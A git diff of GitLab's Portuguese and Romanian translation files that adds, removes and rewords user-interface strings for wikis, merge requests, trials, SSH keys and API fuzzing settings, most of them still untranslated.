@@ -29842,6 +30573,9 @@ msgstr "A coleta de dados do pseudomizador está desativada. Quando ativado, o G
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "A fase de preparação mostra o tempo entre a mesclagem do PM e a implementação do código no ambiente de produção. Os dados serão adicionados, automaticamente, quando implantares na produção pela primeira vez."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr "Para mover ou copiar todo um projeto do GitLab de outra instalação do
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "Enviar ficheiro CSV"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Escreve a descrição do objetivo..."
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 7dadd24874a..340aee2faa8 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:48\n"
+"PO-Revision-Date: 2021-04-02 00:06\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -130,6 +130,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -229,6 +235,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -451,6 +463,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -463,6 +478,12 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -490,21 +511,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} more"
msgstr ""
@@ -601,7 +610,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1006,6 +1015,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1141,6 +1153,9 @@ msgstr[2] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1228,6 +1243,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1252,6 +1273,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1264,6 +1297,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1294,6 +1333,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1411,9 +1462,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1423,13 +1471,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1504,9 +1549,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1525,13 +1567,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1543,6 +1597,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1555,16 +1612,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1573,16 +1633,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1615,9 +1675,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1795,6 +1852,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1825,12 +1885,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1876,6 +1930,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1951,6 +2008,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1978,9 +2038,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2008,6 +2065,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2026,6 +2086,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2119,6 +2182,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
